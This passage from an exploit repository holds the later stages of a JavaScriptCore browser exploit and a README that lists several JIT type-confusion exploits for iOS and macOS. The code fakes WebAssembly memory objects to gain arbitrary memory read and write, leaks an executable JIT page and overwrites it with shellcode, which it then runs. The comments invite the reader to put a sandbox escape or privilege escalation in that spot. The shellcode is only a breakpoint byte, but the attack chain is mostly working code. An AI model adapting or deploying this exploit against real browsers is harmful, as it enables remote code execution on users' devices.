std::__1::__compressed_pair_elem, 1, true> std::__1::__compressed_pair_elem, 1, true> 324 | // +48 < 1> std::__1::default_delete std::__1::default_delete 325 | // +56 < 8> WTF::Function m_syncTryToReclaimMemory 326 | // +56 < 8> std::__1::unique_ptr > m_callableWrapper 327 | // +56 < 8> std::__1::__compressed_pair > __ptr_ 328 | // +56 < 8> std::__1::__compressed_pair_elem std::__1::__compressed_pair_elem 329 | // +56 < 8> CallableWrapperBase * __value_ 330 | // +56 < 1> std::__1::__compressed_pair_elem, 1, true> std::__1::__compressed_pair_elem, 1, true> 331 | // +56 < 1> std::__1::default_delete std::__1::default_delete 332 | // +64 < 8> WTF::Function m_growSuccessCallback 333 | // +64 < 8> std::__1::unique_ptr > m_callableWrapper 334 | // +64 < 8> std::__1::__compressed_pair > __ptr_ 335 | // +64 < 8> std::__1::__compressed_pair_elem std::__1::__compressed_pair_elem 336 | // +64 < 8> CallableWrapperBase * __value_ 337 | // +64 < 1> std::__1::__compressed_pair_elem, 1, true> std::__1::__compressed_pair_elem, 1, true> 338 | // +64 < 1> std::__1::default_delete std::__1::default_delete 339 | // +72 < 16> WTF::Vector, 0, WTF::CrashOnOverflow, 16> m_instances 340 | // +72 < 16> WTF::VectorBuffer, 0> WTF::VectorBuffer, 0> 341 | // +72 < 16> WTF::VectorBufferBase > WTF::VectorBufferBase > 342 | // +72 < 8> WTF::WeakPtr * m_buffer 343 | // +80 < 4> unsigned int m_capacity 344 | // +84 < 4> unsigned int m_size 345 | // 346 | // This is true for pretty much every WebAssembly object exposed to the JavaScript interface. 347 | // As a result, faking WebAssembly objects to the engine requires double the efforts. 348 | // 349 | 350 | // 351 | // Let's create the container objects whose inline properties 352 | // will be used to fake objects to the JavaScript engine. 353 | // 354 | // The idea is to fake a JSWebAssemblyMemory, and then redirect 355 | // its 'm_memory' field to a fake Wasm::Memory instance, so that 356 | // we can control what memory location it is pointing to. 357 | // 358 | 359 | var jsWasmMemoryContainer = { 360 | jsCellHeader: jsCellHeader.asJSValue(), 361 | butterfly: null, 362 | classInfo: null, 363 | memory: null, 364 | bufferWrapper: null, 365 | buffer: null 366 | }; 367 | 368 | // 369 | // Deleting a property of an object basically sets 370 | // all its bits to zero, making it a valid JSValue. 371 | // 372 | delete jsWasmMemoryContainer.butterfly; 373 | delete jsWasmMemoryContainer.classInfo; 374 | delete jsWasmMemoryContainer.bufferWrapper; 375 | delete jsWasmMemoryContainer.buffer; 376 | 377 | var wasmMemoryContainer = { 378 | refCount: null, 379 | memory: null, 380 | size: Int64.Max.asJSValue(), 381 | pages: Int64.Max.asJSValue(), 382 | capacity: Int64.Max.asJSValue(), 383 | mode: null, 384 | notifyMemoryPressure: null, 385 | syncTryToReclaimMemory: null, 386 | growSuccessCallback: null, 387 | instances: null, 388 | }; 389 | 390 | delete wasmMemoryContainer.mode; 391 | delete wasmMemoryContainer.notifyMemoryPressure; 392 | delete wasmMemoryContainer.syncTryToReclaimMemory; 393 | delete wasmMemoryContainer.growSuccessCallback; 394 | delete wasmMemoryContainer.instances; 395 | 396 | // 397 | // Let's have a look at how 'jsWasmMemoryContainer' appears in memory. 398 | // 399 | // lldb output (with 'jsWasmMemoryContainer' at 0x107ab3e80): 400 | // 401 | // (lldb) x/8gx 0x107ab3e80 -l 1 402 | // 0x107ab3e80: 0x0100160000001180 +---------------+ 403 | // 0x107ab3e88: 0x0000000000000000 +-------------+ | 404 | // 0x107ab3e90: 0x0100150000001000 +-----------+ | | 405 | // 0x107ab3e98: 0x0000000000000000 +---------+ | | | 406 | // 0x107ab3ea0: 0x0000000000000000 +-------+ | | | | 407 | // 0x107ab3ea8: 0x0000000000000002 +-----+ | | | | | 408 | // 0x107ab3eb0: 0x0000000000000000 +---+ | | | | | | 409 | // 0x107ab3eb8: 0x0000000000000000 +-+ | | | | | | | 410 | // | | | | | | | | 411 | // +-------------------------------+ | | | | | | | | 412 | // | jsWasmMemoryContainer | | | | | | | | | 413 | // +-------------------------------+ | | | | | | | | 414 | // | +0 <8> JSC::JSCell <----------------+ 415 | // | +8 <8> JSC::Butterfly <--------------+ 416 | // | | | | | | | | 417 | // | Inline properties: | | | | | | | 418 | // | | | | | | | | 419 | // | +16 <8> jsCellHeader <------------+ 420 | // | +24 <8> butterfly <----------+ 421 | // | +32 <8> classInfo <--------+ 422 | // | +40 <8> memory <------+ 423 | // | +48 <8> bufferWrapper <----+ 424 | // | +56 <8> buffer <--+ 425 | // +-------------------------------+ 426 | // 427 | 428 | var jsWasmMemoryContainerAddr = primitives.addrof(jsWasmMemoryContainer); 429 | print("[+] JSWebAssemblyMemory Container @ " + jsWasmMemoryContainerAddr); 430 | 431 | // 432 | // Pointing a JSValue to the inline properties of the 'jsWasmMemoryContainer' 433 | // object, we can inject a valid JSObject inside the JavaScript engine. 434 | // 435 | // +-------------------------------+ 436 | // | jsWasmMemoryContainer | 437 | // +-------------------------------+ 438 | // | +0 <8> JSC::JSCell | 439 | // | +8 <8> JSC::Butterfly | 440 | // | | 441 | // | Inline properties: | 442 | // | | +-------------------------+ 443 | // | +16 <8> jsCellHeader <--------------+ jsWasmMemory (JSObject) | 444 | // | +24 <8> butterfly | +-------------------------+ 445 | // | +32 <8> classInfo | 446 | // | +40 <8> memory | 447 | // | +48 <8> bufferWrapper | 448 | // | +56 <8> buffer | 449 | // +-------------------------------+ 450 | // 451 | 452 | var jsWasmMemoryAddr = Add(jsWasmMemoryContainerAddr, 16); 453 | print("[+] Fake JSWebAssemblyMemory @ " + jsWasmMemoryAddr); 454 | 455 | var jsWasmMemory = primitives.fakeobj(jsWasmMemoryAddr.asDouble()); 456 | 457 | // 458 | // From now on, garbage collector would be super unhappy, and would 459 | // make everything crash in case it got triggered during exploitation. 460 | // We'll repair everything as fast as possible, and with a minimal 461 | // amount of memory allocations. 462 | // 463 | 464 | // 465 | // As pointed out before, using 512 as StructureID should be a safe bet 466 | // to fake a JSWebAssemblyMemory object... but better safe, than sorry. 467 | // 468 | while (!(jsWasmMemory instanceof WebAssembly.Memory)) { 469 | jsCellHeader.assignAdd(jsCellHeader, Int64.One); 470 | jsWasmMemoryContainer.jsCellHeader = jsCellHeader.asJSValue(); 471 | } 472 | 473 | // 474 | // Let's now have a look at how 'wasmMemoryContainer' appears in memory. 475 | // 476 | // lldb output (with 'wasmMemoryContainer' at 0x1093e0000): 477 | // 478 | // (lldb) x/12gx 0x1093e0000 -l 1 479 | // 0x1093e0000: 0x010016000000118b +------------------------+ 480 | // 0x1093e0008: 0x0000000000000000 +----------------------+ | 481 | // 0x1093e0010: 0x0100150000001000 +--------------------+ | | 482 | // 0x1093e0018: 0x0000000000000002 +------------------+ | | | 483 | // 0x1093e0020: 0x0fffffffffffffff +----------------+ | | | | 484 | // 0x1093e0028: 0x0fffffffffffffff +--------------+ | | | | | 485 | // 0x1093e0030: 0x0fffffffffffffff +------------+ | | | | | | 486 | // 0x1093e0038: 0x0000000000000000 +----------+ | | | | | | | 487 | // 0x1093e0040: 0x0000000000000000 +--------+ | | | | | | | | 488 | // 0x1093e0048: 0x0000000000000000 +------+ | | | | | | | | | 489 | // 0x1093e0050: 0x0000000000000000 +----+ | | | | | | | | | | 490 | // 0x1093e0058: 0x0000000000000000 +--+ | | | | | | | | | | | 491 | // | | | | | | | | | | | | 492 | // +--------------------------------+ | | | | | | | | | | | | 493 | // | wasmMemoryContainer | | | | | | | | | | | | | 494 | // +--------------------------------+ | | | | | | | | | | | | 495 | // | +0 <8> JSC::JSCell <------------------------+ 496 | // | +8 <8> JSC::Butterfly <----------------------+ 497 | // | | | | | | | | | | | | 498 | // | Inline properties: | | | | | | | | | | | 499 | // | | | | | | | | | | | | 500 | // | +16 <8> refCount <--------------------+ 501 | // | +24 <8> memory <------------------+ 502 | // | +32 <8> size <----------------+ 503 | // | +40 <8> pages <--------------+ 504 | // | +48 <8> capacity <------------+ 505 | // | +56 <8> mode <----------+ 506 | // | +64 <8> notifyMemoryPressure <--------+ 507 | // | +72 <8> syncTryToReclaimMemory <------+ 508 | // | +80 <8> growSuccessCallback <----+ 509 | // | +88 <8> instances <--+ 510 | // +--------------------------------+ 511 | // 512 | 513 | var wasmMemoryContainerAddr = primitives.addrof(wasmMemoryContainer); 514 | print("[+] Wasm Memory Container @ " + wasmMemoryContainerAddr); 515 | 516 | // 517 | // The inline properties of the 'wasmMemoryContainer' object can be 518 | // used to represent a valid Wasm::Memory object. 519 | // Unfortunately, such object does not inherit from JSCell, so it's 520 | // not possible to obtain a valid JSValue pointing to it. 521 | // 522 | // In other words, as our 'fakeobj' routine is expected to return 523 | // a JSObject, it means it's not going to work if we want to inject 524 | // a Wasm::Memory object into the engine. 525 | // 526 | // On the other hand, giving the inline properties a valid JSCell 527 | // header is still a feasible approach at bypassing this limitation. 528 | // 529 | 530 | wasmMemoryContainer.refCount = jsCellHeader.asJSValue(); 531 | 532 | // 533 | // Similarly to what's been done with the 'jsWasmMemory' object, 534 | // we can now inject another JSObject inside the engine by pointing 535 | // a JSValue to the inline properties of the 'wasmMemoryContainer' 536 | // object. 537 | // 538 | // +--------------------------------+ 539 | // | wasmMemoryContainer | 540 | // +--------------------------------+ 541 | // | +0 <8> JSC::JSCell | 542 | // | +8 <8> JSC::Butterfly | 543 | // | | 544 | // | Inline properties: | 545 | // | | +-----------------------+ 546 | // | +16 <8> refCount <------------------+ wasmMemory (JSObject) | 547 | // | +24 <8> memory | +-----------------------+ 548 | // | +32 <8> size | 549 | // | +40 <8> pages | 550 | // | +48 <8> capacity | 551 | // | +56 <8> mode | 552 | // | +64 <8> notifyMemoryPressure | 553 | // | +72 <8> syncTryToReclaimMemory | 554 | // | +80 <8> growSuccessCallback | 555 | // | +88 <8> instances | 556 | // +--------------------------------+ 557 | // 558 | 559 | var wasmMemoryAddr = Add(wasmMemoryContainerAddr, 16); 560 | print("[+] Fake Wasm Memory @ " + wasmMemoryAddr); 561 | 562 | var wasmMemory = primitives.fakeobj(wasmMemoryAddr.asDouble()); 563 | 564 | // 565 | // Finally, reverting the changes done to the 'refCount' field 566 | // of the 'wasmMemoryContainer' object, 'wasmMemory' becomes 567 | // at all effects a Wasm::Memory object. 568 | // 569 | 570 | wasmMemoryContainer.refCount = Int64.One.asDouble(); 571 | 572 | // 573 | // Now that we have successfully injected a JSWebAssemblyMemory and 574 | // a Wasm::Memory object into the engine, one can be connected to 575 | // the other. 576 | // 577 | // +------------------------------------+ 578 | // | jsWasmMemory | +-----------------------------+ 579 | // +------------------------------------+ | wasmMemory | 580 | // | +0 <8> JSC::JSCell | +-----------------------------+ 581 | // | +8 <8> JSC::Butterfly | +------> +0 <8> WTF::RefCountedBase | 582 | // | +16 <8> JSC::PoisonedClassInfoPtr | | | +8 <8> void* memory | 583 | // | +24 <8> Wasm::Memory -----------+ | +16 <8> size_t | 584 | // | +32 <8> JSC::JSArrayBuffer | | ... | 585 | // | +40 <8> JSC::ArrayBuffer | +-----------------------------+ 586 | // +------------------------------------+ 587 | // 588 | 589 | jsWasmMemoryContainer.memory = wasmMemory; 590 | 591 | // 592 | // This object is going to be used from any WebAssembly instance 593 | // created from 'arbitraryReadWriteWasmModule': its properties are 594 | // going to be imported, and as such will be available to the 595 | // WebAssembly module itself. 596 | // 597 | var arbitraryReadWriteImportObject = { 598 | imports: { 599 | mem: jsWasmMemory 600 | } 601 | }; 602 | 603 | // 604 | // This routine is intended as a reliable way to obtain read/write access 605 | // to a memory location through the use of a WebAssembly module instance 606 | // with its backing memory pointing to that particular location. 607 | // Input parameter can either be a JSValue, or an address. 608 | // 609 | // When a JSValue is provided, it's used to set the 'memory' property of the 610 | // 'wasmMemory' object: in this way, when a new instance of the WebAssembly 611 | // module is created, it's going to use 'arbitraryReadWriteImportObject.imports.mem' 612 | // as backing memory. 613 | // 614 | // When an address is provided, instead... 615 | // 616 | function getMemoryAccessTo(entry) { 617 | if (entry instanceof Int64) 618 | wasmMemoryAccess.write_i64(1, entry); 619 | else 620 | wasmMemoryContainer.memory = entry; 621 | 622 | return getWebAssemblyMemoryAccess(arbitraryReadWriteWasmModule, arbitraryReadWriteImportObject); 623 | } 624 | 625 | // 626 | // ... we're going to use an existing WebAssembly instance object with its 627 | // backing memory pointing to a JSValue, and modify it so that it will be able 628 | // to point to any arbitrary location inside the process address space. 629 | // 630 | var wasmMemoryAccess = getMemoryAccessTo(wasmMemory); 631 | 632 | // 633 | // Arbitrary memory read/write has been achieved, but most of 634 | // the objects used so far have been corrupted, thus garbage 635 | // collector would still crash the process if triggered. 636 | // 637 | // To solve this issue, we attempt to replace the corrupted 638 | // objects with valid ones. 639 | // 640 | 641 | // 642 | // First of all, we use the new acquired capabilities to get access to 643 | // a real JSWebAssemblyMemory instance, so that we can leak the address 644 | // of the Wasm::Memory instance it's backed from. 645 | // 646 | 647 | var realjsWasmMemoryAccess = getMemoryAccessTo(realjsWasmMemory); 648 | var realWasmMemoryAddr = realjsWasmMemoryAccess.read_i64(3); // m_memory 649 | print("[+] Real Wasm Memory @ " + realWasmMemoryAddr); 650 | 651 | // 652 | // Once we have leaked the address of an authentic Wasm::Memory object, 653 | // we're going to use it to create a brand new instance of our read/write 654 | // WebAssembly module, and replace the old one created from a corrupted object. 655 | // 656 | 657 | wasmMemoryAccess = getMemoryAccessTo(realWasmMemoryAddr); 658 | 659 | // 660 | // Finally, as the authentic Wasm::Memory object has access to a very 661 | // limited memory region, we're going to increase its 'm_size', 'm_initial' and 662 | // 'm_maximum' fields, so that it will be able to point to arbitrary locations. 663 | // 664 | 665 | wasmMemoryAccess.write_i64(2, Int64.Max); // m_size 666 | wasmMemoryAccess.write_i64(3, Int64.Max); // m_initial, m_maximum (int32_t) 667 | 668 | // 669 | // This object will come in handy the moment we're going to 670 | // upgrade the 'addrof' and 'fakeobj' primitives: its inline 671 | // property is a JSValue, so we're going to use it as an helper 672 | // to leak addresses and inject objects into the engine. 673 | // 674 | var leaker = { 675 | helper: null 676 | }; 677 | 678 | // 679 | // Upgraded 'addrof' and 'fakeobj' primitives will make use of 680 | // this WebAssembly module instance to read or write to the 681 | // 'helper' property of the 'leaker' object. 682 | // 683 | var leakerMemoryAccess = getMemoryAccessTo(leaker); 684 | 685 | // 686 | // Swapping our fake JSWebAssemblyMemory instance with the real one 687 | // we've allocated during spraying allows the garbage collector 688 | // to get rid of the corrupted object without crashing the process. 689 | // 690 | arbitraryReadWriteImportObject.imports.mem = realjsWasmMemory; 691 | 692 | // 693 | // Time to upgrade exploit primitives! 694 | // 695 | primitives = { 696 | addrof: function(obj) { 697 | leaker.helper = obj; 698 | return leakerMemoryAccess.read_i64(2); 699 | }, 700 | 701 | fakeobj: function(addr) { 702 | leakerMemoryAccess.write_i64(2, addr); 703 | return leaker.helper; 704 | } 705 | }; 706 | 707 | // 708 | // We'll get this opportunity to upgrade the 'getMemoryAccessTo' 709 | // routine as well, so that it does not rely on modifying the 710 | // properties of the 'wasmMemoryContainer' object... as that's 711 | // corrupted, and we need to get rid of it as soon as possible. 712 | // 713 | getMemoryAccessTo = function(entry) { 714 | if (!(entry instanceof Int64)) 715 | entry = primitives.addrof(entry); 716 | 717 | wasmMemoryAccess.write_i64(1, entry); 718 | 719 | return getWebAssemblyMemoryAccess(arbitraryReadWriteWasmModule, arbitraryReadWriteImportObject); 720 | }; 721 | 722 | print("[+] Cleaning up..."); 723 | 724 | // 725 | // Finally, it's time to fix the JSCell of the containers we 726 | // used to inject our corrupted objects into the engine. 727 | // Doing so, the garbage collector won't know about their properties 728 | // anymore, thus won't try to mark them (causing the process to crash). 729 | // 730 | // To accomplish that, we're first going to leak the cell header of a valid 731 | // empty object, and then use to fix the containers. 732 | // 733 | var emptyObject = {}; 734 | var emptyObjectMemoryAccess = getMemoryAccessTo(emptyObject); 735 | var jsEmptyCellHeader = emptyObjectMemoryAccess.read_i64(0); 736 | 737 | var jsWasmMemoryContainerMemoryAccess = getMemoryAccessTo(jsWasmMemoryContainer); 738 | jsWasmMemoryContainerMemoryAccess.write_i64(0, jsEmptyCellHeader); 739 | 740 | var wasmMemoryContainerMemoryAccess = getMemoryAccessTo(wasmMemoryContainer); 741 | wasmMemoryContainerMemoryAccess.write_i64(0, jsEmptyCellHeader); 742 | 743 | // 744 | // Are you ready for this? ... Trigger the garbage collector! 745 | // 746 | if (typeof(gc) !== 'undefined') 747 | gc(); 748 | 749 | // 750 | // Time to upgrade exploit primitives (again)! 751 | // 752 | primitives = { 753 | ...primitives, 754 | 755 | read: function(target, addr) { 756 | var memoryAccess = getMemoryAccessTo(addr); 757 | return memoryAccess["read_i" + target](0); 758 | }, 759 | 760 | write: function(target, addr, what) { 761 | var memoryAccess = getMemoryAccessTo(addr); 762 | memoryAccess["write_i" + target](0, what); 763 | }, 764 | 765 | read8: function(addr) { return this.read(8, addr); }, 766 | write8: function(what, addr) { this.write(8, addr, what); }, 767 | 768 | read16: function(addr) { return this.read(16, addr); }, 769 | write16: function(what, addr) { this.write(16, addr, what); }, 770 | 771 | read32: function(addr) { return this.read(32, addr); }, 772 | write32: function(what, addr) { this.write(32, addr, what); }, 773 | 774 | read64: function(addr) { return this.read(64, addr); }, 775 | write64: function(what, addr) { this.write(64, addr, what); } 776 | }; 777 | 778 | print("[+] Got stable Memory R/W"); 779 | 780 | // 781 | // Upgraded exploit primitives finally allow arbitrary memory read/write. 782 | // We're going to use them in order to leak the address of a RWX memory 783 | // region, and later patch it with shellcode. 784 | // 785 | // To do so, I wrote another WebAssembly module which exports a function 786 | // to the runtime; this particular function does nothing else than invoking 787 | // another function, which instead is imported from the runtime. 788 | // 789 | // As WebAssembly functions are compiled, they're placed inside a RWX 790 | // memory region. 791 | // 792 | // So the idea is to initialize this WebAssembly module, invoke the exported 793 | // function, redirect it to a local JSFunction... and from there, leak the 794 | // address of the exported function entry point, which again is located in 795 | // a RWX memory region. 796 | // 797 | 798 | var shellcodeFunc; 799 | var rwxMemAddr; 800 | 801 | var remoteCodeExecutionWasmModule = loadWebAssemblyModule(webAssemblyModules.remoteCodeExecution); 802 | 803 | // 804 | // This object is going to be imported from 'remoteCodeExecutionWasmModule'. 805 | // 'leakExecutablePage' is the JSFunction which will be in charge of disclosing 806 | // an entry point to the RWX memory. 807 | // 808 | var remoteCodeExecutionImportObject = { 809 | imports: { 810 | leakExecutablePage: function() { 811 | // 812 | // 'shellcodeFunc' is now a WebAssemblyFunction: 813 | // 814 | // +0 < 72> WebAssemblyFunction 815 | // +0 < 48> JSC::WebAssemblyFunctionBase JSC::WebAssemblyFunctionBase 816 | // +0 < 40> JSC::JSFunction JSC::JSFunction 817 | // +0 < 24> JSC::JSCallee JSC::JSCallee 818 | // +0 < 16> JSC::JSNonFinalObject JSC::JSNonFinalObject 819 | // +0 < 16> JSC::JSObject JSC::JSObject 820 | // +0 < 8> JSC::JSCell JSC::JSCell 821 | // +0 < 1> JSC::HeapCell JSC::HeapCell 822 | // +0 < 4> JSC::StructureID m_structureID 823 | // +4 < 1> JSC::IndexingType m_indexingTypeAndMisc 824 | // +5 < 1> JSC::JSType m_type 825 | // +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags 826 | // +7 < 1> JSC::CellState m_cellState 827 | // +8 < 8> JSC::AuxiliaryBarrier m_butterfly 828 | // +8 < 8> JSC::Butterfly * m_value 829 | // +16 < 8> JSC::WriteBarrier > m_scope 830 | // +16 < 8> JSC::WriteBarrierBase > JSC::WriteBarrierBase > 831 | // +16 < 8> JSC::WriteBarrierBase >::StorageType m_cell 832 | // +24 < 8> JSC::JSFunction::PoisonedBarrier m_executable 833 | // +24 < 8> JSC::WriteBarrierBase, JSC::ExecutableBase> > JSC::WriteBarrierBase, JSC::ExecutableBase> > 834 | // +24 < 8> JSC::WriteBarrierBase, JSC::ExecutableBase> >::StorageType m_cell 835 | // +24 < 8> WTF::PoisonedBits m_poisonedBits 836 | // +32 < 8> JSC::JSFunction::PoisonedBarrier m_rareData 837 | // +32 < 8> JSC::WriteBarrierBase, JSC::FunctionRareData> > JSC::WriteBarrierBase, JSC::FunctionRareData> > 838 | // +32 < 8> JSC::WriteBarrierBase, JSC::FunctionRareData> >::StorageType m_cell 839 | // +32 < 8> WTF::PoisonedBits m_poisonedBits 840 | // +40 < 8> JSC::PoisonedWriteBarrier m_instance 841 | // +40 < 8> JSC::WriteBarrierBase, JSC::JSWebAssemblyInstance> > JSC::WriteBarrierBase, JSC::JSWebAssemblyInstance> > 842 | // +40 < 8> JSC::WriteBarrierBase, JSC::JSWebAssemblyInstance> >::StorageType m_cell 843 | // +40 < 8> WTF::PoisonedBits m_poisonedBits 844 | // +48 < 8> JSC::MacroAssemblerCodePtr<64376> m_jsEntrypoint 845 | // +48 < 1> JSC::MacroAssemblerCodePtrBase JSC::MacroAssemblerCodePtrBase 846 | // +48 < 8> JSC::PoisonedMasmPtr m_value 847 | // +48 < 8> WTF::PoisonedBits m_poisonedBits 848 | // +56 < 16> JSC::Wasm::WasmToWasmImportableFunction m_importableFunction 849 | // +56 < 8> JSC::Wasm::SignatureIndex signatureIndex 850 | // +64 < 8> JSC::Wasm::WasmToWasmImportableFunction::LoadLocation entrypointLoadLocation 851 | // 852 | 853 | var wasmFunctionAddr = primitives.addrof(shellcodeFunc); 854 | print("[+] Wasm function @ " + wasmFunctionAddr); 855 | 856 | // 857 | // The field 'm_jsEntrypoint' (offset 48) points to the entry point 858 | // of the JIT compiled function. 859 | // 860 | // lldb output (with 'm_jsEntrypoint' pointing at 0x00002b16ae0058e0): 861 | // 862 | // (lldb) memory region 0x00002b16ae0058e0 863 | // [0x00002b16ae001000-0x00002b16ee001000) rwx 864 | // 865 | // (lldb) dis -s 0x00002b16ae0058e0 866 | // 0x2b16ae0058e0: pushq %rbp 867 | // 0x2b16ae0058e1: movq %rsp, %rbp 868 | // 0x2b16ae0058e4: movq $0x0, 0x10(%rbp) 869 | // 0x2b16ae0058ec: movabsq $0x109128063, %r10 ; imm = 0x109128063 870 | // 0x2b16ae0058f6: movq %r10, 0x18(%rbp) 871 | // 0x2b16ae0058fa: subq $0x30, %rsp 872 | // 873 | 874 | rwxMemAddr = primitives.read64(Add(wasmFunctionAddr, 48)); 875 | print("[+] RWX memory @ " + rwxMemAddr); 876 | } 877 | } 878 | }; 879 | 880 | var remoteCodeExecutionWasmInstance = new WebAssembly.Instance(remoteCodeExecutionWasmModule, remoteCodeExecutionImportObject); 881 | 882 | // 883 | // We first store a reference to the exported WebAssembly function, 884 | // and then invoke it: in this way, the 'leakExecutablePage' has 885 | // access to the reference itself. 886 | // 887 | var leakExecutablePageAddress = remoteCodeExecutionWasmInstance.exports.triggerLeak; 888 | shellcodeFunc = leakExecutablePageAddress; 889 | 890 | // 891 | // This call will invoke the exported function 'triggerLeak', which, 892 | // in turn, will invoke the local 'leakExecutablePage' routine. 893 | // 894 | leakExecutablePageAddress(); 895 | 896 | // 897 | // Ensure we're running on macOS by analysing the prologue 898 | // of the JIT function. 899 | // 900 | if (!isMacOS(primitives.read64(rwxMemAddr).bytes)) 901 | throw "iOS is not supported (yet?)"; 902 | 903 | // 904 | // Only thing left to do, is to replace the current RWX memory region with shellcode, 905 | // and then invoke 'shellcodeFunc'. 906 | // 907 | // I'm just going to trigger an interrupt; if you have something cool to run (like 908 | // a sanbox-escape, an LPE etc), well... you're supposed to run it here. 909 | // 910 | primitives.write8(0xcc, rwxMemAddr); 911 | 912 | print("[+] Shellcode patched"); 913 | 914 | print("[!] Jumping into shellcode..."); 915 | 916 | var res = shellcodeFunc(); 917 | 918 | if (res === 0) 919 | print("[+] Shellcode executed sucessfully!"); 920 | else 921 | print("[-] Shellcode failed to execute: error " + res); 922 | } 923 | 924 | ready.then(function() { 925 | try { 926 | pwn(); 927 | } catch (e) { 928 | print("[-] Exception caught: " + e); 929 | } 930 | }).catch(function(err) { 931 | print("[-] Initialization failed"); 932 | }); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploit Playground 2 | 3 | ## Disclaimer 4 | > All the source code on this repository is provided for educational and informational purpose only, and should not be construed as legal advice or as an offer to perform legal services on any subject matter. 5 | > 6 | > The information is not guaranteed to be correct, complete or current. 7 | > 8 | > The author (Alexandro Luongo) makes no warranty (expressed or implied) about the accuracy or reliability of the information at this repository or at any other website to which it is linked. 9 | 10 | ## Exploits 11 | 12 | ## JavaScriptCore 13 | 14 | | Exploit | Details | Tested versions | 15 | |:-------------:|:------------------------------------------------------------------------------------------------------------------------------------------------------:|:---------------------------:| 16 | | instanceof | JIT bug to trigger a controlled type confusion
Arbitrary Memory Read/Write using boxed/unboxed arrays
Remote Code Execution (macOS) | iOS 11.3.1 | 17 | | regexp | JIT bug to trigger a controlled type confusion
Arbitrary Memory Read/Write using WebAssembly
Remote Code Execution (macOS) using WebAssembly | iOS 12.1.1
macOS 10.14 | 18 | | dateprototype | JIT bug to trigger a controlled type confusion | iOS 13b3 | 19 | --------------------------------------------------------------------------------